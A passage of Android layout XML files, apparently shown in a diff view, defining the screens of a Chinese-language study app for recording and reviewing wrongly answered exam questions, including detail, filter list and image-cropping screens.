89 android:layout_marginTop="15dp"
90 android:layout_marginRight="15dp" />
91
92 <RelativeLayout
93 android:layout_width="match_parent"
94 android:layout_height="match_parent">
95
96 <androidx.recyclerview.widget.RecyclerView
97 android:id="@+id/recycle_error"
98 android:layout_width="match_parent"
99 android:layout_height="wrap_content"
100 android:layout_marginTop="15dp" />
101
102 <LinearLayout
103 android:id="@+id/ll_empty"
104 android:layout_width="wrap_content"
105 android:layout_height="wrap_content"
106 android:layout_centerHorizontal="true"
107 android:layout_marginTop="30dp"
108 android:orientation="vertical"
109 android:visibility="gone">
110
111 <ImageView
112 android:layout_width="155dp"
113 android:layout_height="130dp"
114 android:src="@mipmap/ic_empty" />
115
116 <TextView
117 android:layout_width="wrap_content"
118 android:layout_height="wrap_content"
119 android:layout_gravity="center_horizontal"
120 android:text="暂无错题~" />
121 </LinearLayout>
122 </RelativeLayout>
123
124
125 </LinearLayout>
app/src/main/res/layout/activity_error_detail.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:tools="http://schemas.android.com/tools"
3 xmlns:xxx="http://schemas.android.com/apk/res-auto"
4 android:layout_width="match_parent"
5 android:layout_height="match_parent"
6 android:background="#F5F5F5"
7 android:orientation="vertical">
8
9 <RelativeLayout
10 android:id="@+id/rl_top"
11 android:layout_width="match_parent"
12 android:layout_height="40dp"
13 android:background="@color/white">
14
15 <TextView
16 android:id="@+id/tv_title"
17 android:layout_width="wrap_content"
18 android:layout_height="wrap_content"
19 android:layout_centerInParent="true"
20 android:ellipsize="end"
21 android:maxWidth="330dp"
22 android:singleLine="true"
23 android:textColor="#333333"
24 android:textSize="18sp" />
25
26 <ImageView
27 android:id="@+id/iv_edit"
28 android:layout_width="40dp"
29 android:layout_height="40dp"
30 android:layout_toRightOf="@+id/tv_title"
31 android:padding="10dp"
32 android:src="@mipmap/ic_error_edit" />
33
34 <ImageView
35 android:id="@+id/iv_back"
36 android:layout_width="30dp"
37 android:layout_height="36dp"
38 android:layout_centerVertical="true"
39 android:layout_marginLeft="5dp"
40 android:padding="10dp"
41 android:src="@mipmap/icon_back" />
42
43 </RelativeLayout>
44
45 <ScrollView
46 android:layout_width="match_parent"
47 android:layout_height="match_parent">
48
49 <LinearLayout
50 android:layout_width="match_parent"
51 android:layout_height="wrap_content"
52 android:background="#F5F5F5"
53 android:orientation="vertical">
54
55 <LinearLayout
56 android:id="@+id/ll_pic"
57 android:layout_width="match_parent"
58 android:layout_height="wrap_content"
59 android:background="@color/white"
60 android:orientation="vertical">
61
62 <TextView
63 android:layout_width="wrap_content"
64 android:layout_height="wrap_content"
65 android:layout_marginLeft="15dp"
66 android:layout_marginTop="15dp"
67 android:text="原题图片"
68 android:textColor="@color/text_title"
69 android:textSize="15sp" />
70
71 <RelativeLayout
72 android:layout_width="match_parent"
73 android:layout_height="90dp"
74 android:layout_marginLeft="15dp"
75 android:layout_marginTop="15dp"
76 android:layout_marginRight="15dp"
77 android:layout_marginBottom="15dp">
78
79 <RelativeLayout
80 android:layout_width="match_parent"
81 android:layout_height="match_parent"
82 android:background="#F5F5F5">
83
84 <ImageView
85 android:id="@+id/iv_topic"
86 android:layout_width="wrap_content"
87 android:layout_height="wrap_content"
88 android:layout_centerVertical="true" />
89 </RelativeLayout>
90 </RelativeLayout>
91 </LinearLayout>
92
93 <LinearLayout
94 android:id="@+id/ll_origin"
95 android:layout_width="match_parent"
96 android:layout_height="wrap_content"
97 android:background="@color/white"
98 android:orientation="vertical"
99 tools:ignore="WebViewLayout">
100
101 <TextView
102 android:layout_width="wrap_content"
103 android:layout_height="wrap_content"
104 android:layout_marginLeft="15dp"
105 android:layout_marginTop="15dp"
106 android:text="题目"
107 android:textColor="@color/text_title"
108 android:textSize="15sp" />
109
110 <WebView
111 android:id="@+id/web_content"
112 android:layout_width="wrap_content"
113 android:layout_height="wrap_content"
114 android:layout_marginLeft="10dp"
115 android:layout_marginTop="10dp"
116 android:layout_marginBottom="10dp" />
117 </LinearLayout>
118
119 <LinearLayout
120 android:id="@+id/ll_analyse"
121 android:layout_width="match_parent"
122 android:layout_height="wrap_content"
123 android:layout_marginTop="15dp"
124 android:background="@color/white"
125 android:orientation="vertical"
126 tools:ignore="WebViewLayout">
127
128 <TextView
129 android:layout_width="wrap_content"
130 android:layout_height="wrap_content"
131 android:layout_marginLeft="15dp"
132 android:layout_marginTop="15dp"
133 android:text="解答"
134 android:textColor="@color/text_title"
135 android:textSize="15sp" />
136
137 <LinearLayout
138 android:layout_width="match_parent"
139 android:layout_height="wrap_content"
140 android:layout_margin="15dp"
141 android:background="@drawable/bg_soild_gray_5">
142
143 <WebView
144 android:id="@+id/web_analyse"
145 android:layout_width="wrap_content"
146 android:layout_height="wrap_content"
147 android:layout_margin="10dp" />
148 </LinearLayout>
149 </LinearLayout>
150
151 <LinearLayout
152 android:id="@+id/ll_answer"
153 android:layout_width="match_parent"
154 android:layout_height="wrap_content"
155 android:layout_marginTop="15dp"
156 android:background="@color/white"
157 android:orientation="vertical"
158 tools:ignore="WebViewLayout">
159
160 <TextView
161 android:layout_width="wrap_content"
162 android:layout_height="wrap_content"
163 android:layout_marginLeft="15dp"
164 android:layout_marginTop="15dp"
165 android:text="答案"
166 android:textColor="@color/text_title"
167 android:textSize="15sp" />
168
169 <LinearLayout
170 android:layout_width="match_parent"
171 android:layout_height="wrap_content"
172 android:layout_margin="15dp"
173 android:background="@drawable/bg_soild_gray_5">
174
175 <WebView
176 android:id="@+id/web_answer"
177 android:layout_width="wrap_content"
178 android:layout_height="wrap_content"
179 android:layout_margin="10dp" />
180 </LinearLayout>
181 </LinearLayout>
182
183 <LinearLayout
184 android:id="@+id/ll_points"
185 android:layout_width="match_parent"
186 android:layout_height="wrap_content"
187 android:layout_marginTop="15dp"
188 android:background="@color/white"
189 android:orientation="vertical"
190 tools:ignore="WebViewLayout">
191
192 <TextView
193 android:layout_width="wrap_content"
194 android:layout_height="wrap_content"
195 android:layout_marginLeft="15dp"
196 android:layout_marginTop="15dp"
197 android:text="知识点"
198 android:textColor="@color/text_title"
199 android:textSize="15sp" />
200
201 <LinearLayout
202 android:layout_width="match_parent"
203 android:layout_height="40dp"
204 android:layout_margin="15dp"
205 android:background="@drawable/bg_soild_gray_5">
206
207 <TextView
208 android:id="@+id/tv_points"
209 android:layout_width="wrap_content"
210 android:layout_height="wrap_content"
211 android:layout_gravity="center_vertical"
212 android:layout_marginLeft="15dp"
213 android:gravity="center_vertical"
214 android:textColor="#1C90F3"
215 android:textSize="14sp" />
216 </LinearLayout>
217 </LinearLayout>
218
219 <LinearLayout
220 android:id="@+id/ll_reason"
221 android:layout_width="match_parent"
222 android:layout_height="wrap_content"
223 android:layout_marginTop="15dp"
224 android:background="@color/white"
225 android:orientation="vertical"
226 tools:ignore="WebViewLayout">
227
228 <TextView
229 android:layout_width="wrap_content"
230 android:layout_height="wrap_content"
231 android:layout_marginLeft="15dp"
232 android:layout_marginTop="15dp"
233 android:text="错误原因"
234 android:textColor="@color/text_title"
235 android:textSize="15sp" />
236
237 <androidx.appcompat.widget.AppCompatSpinner
238 android:id="@+id/spinner_reason"
239 style="@style/customSpinnerStyle"
240 android:layout_width="match_parent"
241 android:layout_height="40dp"
242 android:layout_centerHorizontal="true"
243 android:layout_marginLeft="15dp"
244 android:layout_marginTop="15dp"
245 android:layout_marginRight="15dp"
246 android:layout_marginBottom="15dp"
247 android:background="@drawable/selector_for_custom_spinner"
248 android:entries="@array/error_reason"
249 android:popupBackground="@drawable/shape_for_custom_spinner"
250 android:scrollbars="none" />
251 </LinearLayout>
252
253 <LinearLayout
254 android:layout_width="match_parent"
255 android:layout_height="wrap_content"
256 android:layout_marginTop="15dp"
257 android:layout_marginBottom="15dp"
258 android:background="@color/white"
259 android:orientation="vertical"
260 tools:ignore="WebViewLayout">
261
262 <TextView
263 android:layout_width="wrap_content"
264 android:layout_height="wrap_content"
265 android:layout_marginLeft="15dp"
266 android:layout_marginTop="15dp"
267 android:text="掌握状态"
268 android:textColor="@color/text_title"
269 android:textSize="15sp" />
270
271 <RadioGroup
272 android:id="@+id/type_radio"
273 android:layout_width="match_parent"
274 android:layout_height="40dp"
275 android:layout_marginLeft="15dp"
276 android:layout_marginTop="15dp"
277 android:layout_marginBottom="15dp"
278 android:orientation="horizontal">
279
280 <RadioButton
281 android:layout_width="70dp"
282 android:layout_height="match_parent"
283 android:layout_marginRight="20dp"
284 android:background="@drawable/radio_button_selector"
285 android:button="@null"
286 android:gravity="center"
287 android:text="已掌握"
288 android:textColor="@drawable/radio_text_selector"
289 android:textSize="14sp" />
290
291 <RadioButton
292 android:layout_width="70dp"
293 android:layout_height="match_parent"
294 android:layout_marginRight="20dp"
295 android:background="@drawable/radio_button_selector"
296 android:button="@null"
297 android:gravity="center"
298 android:text="未掌握"
299 android:textColor="@drawable/radio_text_selector"
300 android:textSize="14sp" />
301 </RadioGroup>
302 </LinearLayout>
303 </LinearLayout>
304 </ScrollView>
305 </LinearLayout>
app/src/main/res/layout/activity_error_list.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:xxx="http://schemas.android.com/apk/res-auto"
3 android:layout_width="match_parent"
4 android:layout_height="match_parent"
5 android:background="#F8F8F8"
6 android:orientation="vertical">
7
8 <RelativeLayout
9 android:id="@+id/rl_top"
10 android:layout_width="match_parent"
11 android:layout_height="40dp"
12 android:background="@color/white">
13
14 <TextView
15 android:id="@+id/tv_title"
16 android:layout_width="wrap_content"
17 android:layout_height="wrap_content"
18 android:layout_centerInParent="true"
19 android:text="错题本"
20 android:textColor="#333333"
21 android:textSize="18sp" />
22
23 <CheckBox
24 android:id="@+id/checkbox"
25 android:layout_width="wrap_content"
26 android:layout_height="wrap_content"
27 android:layout_centerVertical="true"
28 android:layout_marginLeft="15dp"
29 android:button="@drawable/selectall_selector"
30 android:checked="false"
31 android:paddingLeft="8dp"
32 android:text="全选"
33 android:textColor="@color/text_title"
34 android:visibility="gone" />
35
36 <ImageView
37 android:id="@+id/iv_back"
38 android:layout_width="30dp"
39 android:layout_height="36dp"
40 android:layout_centerVertical="true"
41 android:layout_marginLeft="5dp"
42 android:padding="10dp"
43 android:src="@mipmap/icon_back" />
44
45 <TextView
46 android:id="@+id/tv_edit"
47 android:layout_width="wrap_content"
48 android:layout_height="wrap_content"
49 android:layout_alignParentRight="true"
50 android:layout_centerVertical="true"
51 android:layout_marginRight="15dp"
52 android:text="编辑"
53 android:textColor="@color/text_title"
54 android:visibility="visible" />
55 </RelativeLayout>
56
57 <LinearLayout
58 android:id="@+id/ll_filter"
59 android:layout_width="match_parent"
60 android:layout_height="40dp"
61 android:layout_below="@+id/rl_top"
62 android:background="@color/white">
63
64 <RelativeLayout
65 android:layout_width="0dp"
66 android:layout_height="40dp"
67 android:layout_weight="1">
68
69 <TextView
70 android:id="@+id/tv_filter_subject"
71 android:layout_width="wrap_content"
72 android:layout_height="40dp"
73 android:layout_centerVertical="true"
74 android:layout_marginLeft="15dp"
75 android:drawableRight="@drawable/ic_filter_gray"
76 android:drawablePadding="5dp"
77 android:gravity="center_vertical"
78 android:text="学科"
79 android:textColor="@color/text_title"
80 android:textSize="14sp" />
81
82 </RelativeLayout>
83
84 <RelativeLayout
85 android:layout_width="0dp"
86 android:layout_height="40dp"
87 android:layout_weight="1">
88
89 <TextView
90 android:id="@+id/tv_filter_grade"
91 android:layout_width="wrap_content"
92 android:layout_height="40dp"
93 android:layout_centerVertical="true"
94 android:drawableRight="@drawable/ic_filter_gray"
95 android:drawablePadding="5dp"
96 android:gravity="center_vertical"
97 android:text="年级学期"
98 android:textColor="@color/text_title"
99 android:textSize="14sp" />
100 </RelativeLayout>
101
102 <RelativeLayout
103 android:layout_width="0dp"
104 android:layout_height="40dp"
105 android:layout_weight="1">
106
107 <TextView
108 android:id="@+id/tv_filter_manage"
109 android:layout_width="wrap_content"
110 android:layout_height="40dp"
111 android:layout_centerVertical="true"
112 android:layout_marginLeft="10dp"
113 android:drawableRight="@drawable/ic_filter_gray"
114 android:drawablePadding="5dp"
115 android:gravity="center_vertical"
116 android:text="掌握情况"
117 android:textColor="@color/text_title"
118 android:textSize="14sp" />
119 </RelativeLayout>
120
121 <RelativeLayout
122 android:layout_width="0dp"
123 android:layout_height="40dp"
124 android:layout_weight="1">
125
126 <TextView
127 android:id="@+id/tv_filter_more"
128 android:layout_width="wrap_content"
129 android:layout_height="40dp"
130 android:layout_alignParentRight="true"
131 android:layout_centerVertical="true"
132 android:layout_marginRight="15dp"
133 android:drawableRight="@drawable/ic_filter_gray"
134 android:drawablePadding="5dp"
135 android:gravity="center_vertical"
136 android:text="更多筛选"
137 android:textColor="@color/text_title"
138 android:textSize="14sp" />
139 </RelativeLayout>
140
141 </LinearLayout>
142
143 <androidx.recyclerview.widget.RecyclerView
144 android:id="@+id/recycle"
145 android:layout_width="match_parent"
146 android:layout_height="match_parent"
147 android:layout_above="@+id/rl_bottom"
148 android:layout_below="@+id/ll_filter"
149 android:layout_marginTop="15dp" />
150
151 <LinearLayout
152 android:id="@+id/ll_filter_common"
153 android:layout_width="match_parent"
154 android:layout_height="wrap_content"
155 android:layout_below="@+id/ll_filter"
156 android:background="@drawable/bg_solid_white_10_bottom"
157 android:visibility="visible">
158
159 <androidx.recyclerview.widget.RecyclerView
160 android:id="@+id/recycle_filter"
161 android:layout_width="match_parent"
162 android:layout_height="wrap_content"
163 android:layout_marginLeft="15dp"
164 android:layout_marginTop="15dp"
165 android:visibility="gone" />
166 </LinearLayout>
167
168 <LinearLayout
169 android:id="@+id/ll_filter_more"
170 android:layout_width="match_parent"
171 android:layout_height="wrap_content"
172 android:layout_below="@+id/ll_filter"
173 android:background="@drawable/bg_solid_white_10_bottom"
174 android:orientation="vertical"
175 android:visibility="gone">
176
177 <TextView
178 android:layout_width="wrap_content"
179 android:layout_height="wrap_content"
180 android:layout_marginLeft="15dp"
181 android:layout_marginTop="15dp"
182 android:text="来源"
183 android:textColor="@color/text_title"
184 android:textSize="14sp"
185 android:textStyle="bold" />
186
187 <RadioGroup
188 android:id="@+id/group_type"
189 android:layout_width="match_parent"
190 android:layout_height="30dp"
191 android:layout_marginLeft="15dp"
192 android:layout_marginTop="15dp"
193 android:layout_marginRight="15dp"
194 android:orientation="horizontal">
195
196 <RadioButton
197 android:layout_width="0dp"
198 android:layout_height="match_parent"
199 android:layout_marginRight="15dp"
200 android:layout_weight="1"
201 android:background="@drawable/filter_button_selector"
202 android:button="@null"
203 android:gravity="center"
204 android:text="课内"
205 android:textColor="@drawable/radio_text_selector"
206 android:textSize="14sp" />
207
208 <RadioButton
209 android:layout_width="0dp"
210 android:layout_height="match_parent"
211 android:layout_marginRight="15dp"
212 android:layout_weight="1"
213 android:background="@drawable/filter_button_selector"
214 android:button="@null"
215 android:gravity="center"
216 android:text="课外"
217 android:textColor="@drawable/radio_text_selector"
218 android:textSize="14sp" />
219
220 <RadioButton
221 android:layout_width="0dp"
222 android:layout_height="match_parent"
223 android:layout_marginRight="15dp"
224 android:layout_weight="1"
225 android:background="@drawable/filter_button_selector"
226 android:button="@null"
227 android:gravity="center"
228 android:text="全部"
229 android:textColor="@drawable/radio_text_selector"
230 android:textSize="14sp" />
231
232 <View
233 android:layout_width="0dp"
234 android:layout_height="match_parent"
235 android:layout_weight="1" />
236 </RadioGroup>
237
238 <TextView
239 android:layout_width="wrap_content"
240 android:layout_height="wrap_content"
241 android:layout_marginLeft="15dp"
242 android:layout_marginTop="15dp"
243 android:text="录入时间"
244 android:textColor="@color/text_title"
245 android:textSize="14sp"
246 android:textStyle="bold" />
247
248 <RadioGroup
249 android:id="@+id/group_time"
250 android:layout_width="match_parent"
251 android:layout_height="30dp"
252 android:layout_marginLeft="15dp"
253 android:layout_marginTop="15dp"
254 android:layout_marginRight="15dp"
255 android:layout_marginBottom="15dp"
256 android:orientation="horizontal">
257
258 <RadioButton
259 android:layout_width="0dp"
260 android:layout_height="match_parent"
261 android:layout_marginRight="15dp"
262 android:layout_weight="1"
263 android:background="@drawable/filter_button_selector"
264 android:button="@null"
265 android:gravity="center"
266 android:text="一周内"
267 android:textColor="@drawable/radio_text_selector"
268 android:textSize="14sp" />
269
270 <RadioButton
271 android:layout_width="0dp"
272 android:layout_height="match_parent"
273 android:layout_marginRight="15dp"
274 android:layout_weight="1"
275 android:background="@drawable/filter_button_selector"
276 android:button="@null"
277 android:gravity="center"
278 android:text="一个月内"
279 android:textColor="@drawable/radio_text_selector"
280 android:textSize="14sp" />
281
282 <RadioButton
283 android:layout_width="0dp"
284 android:layout_height="match_parent"
285 android:layout_marginRight="15dp"
286 android:layout_weight="1"
287 android:background="@drawable/filter_button_selector"
288 android:button="@null"
289 android:gravity="center"
290 android:text="三个月内"
291 android:textColor="@drawable/radio_text_selector"
292 android:textSize="14sp" />
293
294 <RadioButton
295 android:layout_width="0dp"
296 android:layout_height="match_parent"
297 android:layout_marginRight="15dp"
298 android:layout_weight="1"
299 android:background="@drawable/filter_button_selector"
300 android:button="@null"
301 android:gravity="center"
302 android:text="全部"
303 android:textColor="@drawable/radio_text_selector"
304 android:textSize="14sp" />
305 </RadioGroup>
306 </LinearLayout>
307
308
309 <LinearLayout
310 android:id="@+id/ll_empty"
311 android:layout_width="wrap_content"
312 android:layout_height="wrap_content"
313 android:layout_above="@+id/rl_bottom"
314 android:layout_below="@+id/ll_filter"
315 android:layout_centerHorizontal="true"
316 android:layout_marginTop="150dp"
317 android:orientation="vertical"
318 android:visibility="gone">
319
320 <ImageView
321 android:layout_width="155dp"
322 android:layout_height="130dp"
323 android:src="@mipmap/ic_empty" />
324
325 <TextView
326 android:layout_width="wrap_content"
327 android:layout_height="wrap_content"
328 android:layout_gravity="center_horizontal"
329 android:text="暂无错题~" />
330 </LinearLayout>
331
332 <RelativeLayout
333 android:id="@+id/rl_bottom"
334 android:layout_width="match_parent"
335 android:layout_height="70dp"
336 android:layout_alignParentBottom="true"
337 android:background="@color/white">
338
339 <TextView
340 android:id="@+id/tv_add"
341 android:layout_width="280dp"
342 android:layout_height="40dp"
343 android:layout_centerInParent="true"
344 android:background="@drawable/bg_soild_blue_5"
345 android:gravity="center"
346 android:text="录入错题"
347 android:textColor="@color/white"
348 android:textSize="18sp" />
349
350 <LinearLayout
351 android:id="@+id/ll_delete"
352 android:layout_width="wrap_content"
353 android:layout_height="wrap_content"
354 android:layout_centerVertical="true"
355 android:layout_marginLeft="15dp"
356 android:orientation="vertical"
357 android:visibility="gone">
358
359 <ImageView
360 android:layout_width="25dp"
361 android:layout_height="25dp"
362 android:layout_gravity="center_horizontal"
363 android:src="@mipmap/ic_delete" />
364
365 <TextView
366 android:layout_width="wrap_content"
367 android:layout_height="wrap_content"
368 android:layout_gravity="center_horizontal"
369 android:layout_marginTop="5dp"
370 android:text="删除"
371 android:textSize="11sp" />
372 </LinearLayout>
373
374 <TextView
375 android:id="@+id/tv_save"
376 android:layout_width="280dp"
377 android:layout_height="40dp"
378 android:layout_alignParentRight="true"
379 android:layout_centerVertical="true"
380 android:layout_marginRight="15dp"
381 android:background="@drawable/bg_soild_blue_5"
382 android:gravity="center"
383 android:text="批量修改标签"
384 android:textColor="@color/white"
385 android:textSize="18sp"
386 android:visibility="gone" />
387 </RelativeLayout>
388 </RelativeLayout>
app/src/main/res/layout/activity_image.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="match_parent"
4 android:orientation="vertical">
5
6 <RelativeLayout
7 android:layout_width="match_parent"
8 android:layout_height="40dp"
9 android:background="@color/white">
10
11 <TextView
12 android:id="@+id/tv_title"
13 android:layout_width="wrap_content"
14 android:layout_height="wrap_content"
15 android:layout_centerInParent="true"
16 android:textColor="#333333"
17 android:textSize="18sp" />
18
19 <ImageView
20 android:id="@+id/iv_back"
21 android:layout_width="30dp"
22 android:layout_height="36dp"
23 android:layout_centerVertical="true"
24 android:layout_marginLeft="5dp"
25 android:padding="10dp"
26 android:src="@mipmap/icon_back" />
27
28 <TextView
29 android:id="@+id/tv_photo"
30 android:layout_width="wrap_content"
31 android:layout_height="wrap_content"
32 android:layout_centerVertical="true"
33 android:layout_toRightOf="@+id/iv_back"
34 android:text="重拍"
35 android:textColor="#333333"
36 android:textSize="14sp" />
37
38 <TextView
39 android:layout_width="wrap_content"
40 android:layout_height="wrap_content"
41 android:layout_alignParentRight="true"
42 android:layout_centerVertical="true"
43 android:layout_marginRight="15dp"
44 android:text="查看原图"
45 android:textColor="#333333"
46 android:textSize="14sp"
47 android:visibility="gone" />
48 </RelativeLayout>
49
50 <TextView
51 android:layout_width="match_parent"
52 android:layout_height="35dp"
53 android:background="#C7DFF5"
54 android:gravity="center"
55 android:text="已为您自动框选题目,点击“+”添加题目"
56 android:textColor="#1C90F3"
57 android:textSize="13sp" />
58
59 <RelativeLayout
60 android:layout_width="match_parent"
61 android:layout_height="match_parent"
62 android:background="#F8F8F8">
63
64 <androidx.viewpager2.widget.ViewPager2
65 android:id="@+id/viewPager"
66 android:layout_width="match_parent"
67 android:layout_height="match_parent"
68 android:layout_above="@+id/rl_previous" />
69
70 <RelativeLayout
71 android:id="@+id/rl_previous"
72 android:layout_width="30dp"
73 android:layout_height="30dp"
74 android:layout_above="@+id/rl_bottom"
75 android:layout_marginLeft="15dp"
76 android:layout_marginBottom="15dp"
77 android:background="@drawable/bg_solid_white">
78
79 <ImageView
80 android:id="@+id/iv_previous"
81 android:layout_width="10dp"
82 android:layout_height="18dp"
83 android:layout_centerInParent="true"
84 android:src="@mipmap/ic_previous_gray" />
85 </RelativeLayout>
86
87 <RelativeLayout
88 android:id="@+id/rl_next"
89 android:layout_width="30dp"
90 android:layout_height="30dp"
91 android:layout_above="@+id/rl_bottom"
92 android:layout_alignParentRight="true"
93 android:layout_marginRight="15dp"
94 android:layout_marginBottom="15dp"
95 android:background="@drawable/bg_solid_white">
96
97 <ImageView
98 android:id="@+id/iv_next"
99 android:layout_width="10dp"
100 android:layout_height="18dp"
101 android:layout_centerInParent="true"
102 android:src="@mipmap/ic_next_gray" />
103 </RelativeLayout>
104
105 <RelativeLayout
106 android:id="@+id/rl_bottom"
107 android:layout_width="match_parent"
108 android:layout_height="70dp"
109 android:layout_alignParentBottom="true"
110 android:background="@color/white">
111
112 <LinearLayout
113 android:id="@+id/ll_edit"
114 android:layout_width="wrap_content"
115 android:layout_height="wrap_content"
116 android:layout_centerVertical="true"
117 android:layout_marginLeft="15dp"
118 android:orientation="vertical">
119
120 <ImageView
121 android:layout_width="25dp"
122 android:layout_height="25dp"
123 android:layout_gravity="center_horizontal"
124 android:src="@mipmap/ic_pic_edit" />
125
126 <TextView
127 android:layout_width="wrap_content"
128 android:layout_height="wrap_content"
129 android:layout_marginTop="5dp"
130 android:text="图片编辑"
131 android:textSize="11sp" />
132 </LinearLayout>
133
134 <TextView
135 android:id="@+id/tv_add"
136 android:layout_width="140dp"
137 android:layout_height="40dp"
138 android:layout_centerVertical="true"
139 android:layout_marginRight="15dp"
140 android:layout_toLeftOf="@+id/tv_save"
141 android:background="@drawable/bg_soild_orange_5"
142 android:gravity="center"
143 android:text="手动框选"
144 android:textColor="@color/white"
145 android:textSize="18sp" />
146
147 <TextView
148 android:id="@+id/tv_save"
149 android:layout_width="140dp"
150 android:layout_height="40dp"
151 android:layout_alignParentRight="true"
152 android:layout_centerVertical="true"
153 android:layout_marginRight="15dp"
154 android:background="@drawable/bg_soild_blue_light_5"
155 android:enabled="false"
156 android:gravity="center"
157 android:text="保留错题"
158 android:textColor="@color/white"
159 android:textSize="18sp" />
160 </RelativeLayout>
161 </RelativeLayout>
162 </LinearLayout>
app/src/main/res/layout/activity_image_edit.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:xxx="http://schemas.android.com/apk/res-auto"
3 android:layout_width="match_parent"
4 android:layout_height="match_parent"
5 android:orientation="vertical">
6
7 <RelativeLayout
8 android:layout_width="match_parent"
9 android:layout_height="40dp"
10 android:background="@color/white">
11
12 <TextView
13 android:id="@+id/tv_title"
14 android:layout_width="wrap_content"
15 android:layout_height="wrap_content"
16 android:layout_centerInParent="true"
17 android:text="图片编辑"
18 android:textColor="#333333"
19 android:textSize="18sp" />
20
21 <ImageView
22 android:id="@+id/iv_back"
23 android:layout_width="30dp"
24 android:layout_height="36dp"
25 android:layout_centerVertical="true"
26 android:layout_marginLeft="5dp"
27 android:padding="10dp"
28 android:src="@mipmap/icon_back" />
29 </RelativeLayout>
30
31 <RelativeLayout
32 android:layout_width="match_parent"
33 android:layout_height="match_parent"
34 android:background="@color/black">
35
36 <RelativeLayout
37 android:layout_width="match_parent"
38 android:layout_height="match_parent"
39 android:layout_above="@+id/rl_bottom"
40 android:layout_marginLeft="15dp"
41 android:layout_marginTop="50dp"
42 android:layout_marginRight="15dp"
43 android:layout_marginBottom="50dp">
44
45 <com.prws.common.widget.MarkSizeView
46 android:id="@+id/mark_view"
47 android:layout_width="wrap_content"
48 android:layout_height="wrap_content"
49 android:layout_centerInParent="true"
50 xxx:markedColor="@color/select_fill"
51 xxx:strokeWidth="1dp"
52 xxx:strokesColor="@color/select_border"
53 xxx:vertexColor="@color/select_border"
54 xxx:vertexWidth="12dp" />
55 </RelativeLayout>
56
57 <RelativeLayout
58 android:id="@+id/rl_bottom"
59 android:layout_width="match_parent"
60 android:layout_height="70dp"
61 android:layout_alignParentBottom="true"
62 android:background="@color/white">
63
64
65 <LinearLayout
66 android:id="@+id/ll_photo"
67 android:layout_width="wrap_content"
68 android:layout_height="wrap_content"
69 android:layout_centerVertical="true"
70 android:layout_marginLeft="15dp"
71 android:orientation="vertical">
72
73 <ImageView
74 android:layout_width="25dp"
75 android:layout_height="25dp"
76 android:layout_gravity="center_horizontal"
77 android:src="@mipmap/ic_photo_again" />
78
79 <TextView
80 android:layout_width="wrap_content"
81 android:layout_height="wrap_content"
82 android:layout_gravity="center_horizontal"
83 android:layout_marginTop="5dp"
84 android:text="重拍"
85 android:textSize="11sp" />
86 </LinearLayout>
87
88
89 <LinearLayout
90 android:id="@+id/ll_rotate"
91 android:layout_width="wrap_content"
92 android:layout_height="wrap_content"
93 android:layout_centerVertical="true"
94 android:layout_marginLeft="40dp"
95 android:layout_toRightOf="@+id/ll_photo"
96 android:orientation="vertical">
97
98 <ImageView
99 android:layout_width="25dp"
100 android:layout_height="25dp"
101 android:layout_gravity="center_horizontal"
102 android:src="@mipmap/ic_rotate" />
103
104 <TextView
105 android:layout_width="wrap_content"
106 android:layout_height="wrap_content"
107 android:layout_gravity="center_horizontal"
108 android:layout_marginTop="5dp"
109 android:text="旋转"
110 android:textSize="11sp" />
111 </LinearLayout>
112
113 <LinearLayout
114 android:id="@+id/ll_delete"
115 android:layout_width="wrap_content"
116 android:layout_height="wrap_content"
117 android:layout_centerVertical="true"
118 android:layout_marginLeft="40dp"
119 android:layout_toRightOf="@+id/ll_rotate"
120 android:orientation="vertical">
121
122 <ImageView
123 android:layout_width="25dp"
124 android:layout_height="25dp"
125 android:layout_gravity="center_horizontal"
126 android:src="@mipmap/ic_delete" />
127
128 <TextView
129 android:layout_width="wrap_content"
130 android:layout_height="wrap_content"
131 android:layout_gravity="center_horizontal"
132 android:layout_marginTop="5dp"
133 android:text="删除"
134 android:textSize="11sp" />
135 </LinearLayout>
136
137 <TextView
138 android:id="@+id/tv_save"
139 android:layout_width="140dp"
140 android:layout_height="40dp"
141 android:layout_alignParentRight="true"
142 android:layout_centerVertical="true"
143 android:layout_marginRight="15dp"
144 android:background="@drawable/bg_soild_blue_5"
145 android:gravity="center"
146 android:text="完成"
147 android:textColor="@color/white"
148 android:textSize="18sp" />
149 </RelativeLayout>
150 </RelativeLayout>
151 </LinearLayout>
app/src/main/res/layout/activity_image_select.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:tools="http://schemas.android.com/tools"
3 xmlns:xxx="http://schemas.android.com/apk/res-auto"
4 android:layout_width="match_parent"
5 android:layout_height="match_parent"
6 android:orientation="vertical"
7 tools:ignore="MissingDefaultResource">
8
9 <RelativeLayout
10 android:layout_width="match_parent"
11 android:layout_height="40dp"
12 android:background="@color/white">
13
14 <TextView
15 android:id="@+id/tv_title"
16 android:layout_width="wrap_content"
17 android:layout_height="wrap_content"
18 android:layout_centerInParent="true"
19 android:text="手动框选"
20 android:textColor="#333333"
21 android:textSize="18sp" />
22
23 <ImageView
24 android:id="@+id/iv_back"
25 android:layout_width="30dp"
26 android:layout_height="36dp"
27 android:layout_centerVertical="true"
28 android:layout_marginLeft="5dp"
29 android:padding="10dp"
30 android:src="@mipmap/icon_back" />
31 </RelativeLayout>
32
33 <RelativeLayout
34 android:layout_width="match_parent"
35 android:layout_height="match_parent"
36 android:background="@color/white">
37
38 <RelativeLayout
39 android:layout_width="match_parent"
40 android:layout_height="match_parent"
41 android:layout_above="@+id/rl_bottom"
42 android:layout_marginLeft="15dp"
43 android:layout_marginTop="35dp"
44 android:layout_marginRight="15dp"
45 android:layout_marginBottom="45dp">
46
47 <com.prws.common.widget.MarkSizeView
48 android:id="@+id/mark_view"
49 android:layout_width="wrap_content"
50 android:layout_height="wrap_content"
51 android:layout_centerInParent="true"
52 xxx:markedColor="@color/select_fill"
53 xxx:strokeWidth="1dp"
54 xxx:strokesColor="@color/select_border"
55 xxx:vertexColor="@color/select_border"
56 xxx:vertexWidth="12dp" />
57 </RelativeLayout>
58
59 <RelativeLayout
60 android:id="@+id/rl_bottom"
61 android:layout_width="match_parent"
62 android:layout_height="70dp"
63 android:layout_alignParentBottom="true"
64 android:background="@color/white">
65
66
67 <LinearLayout
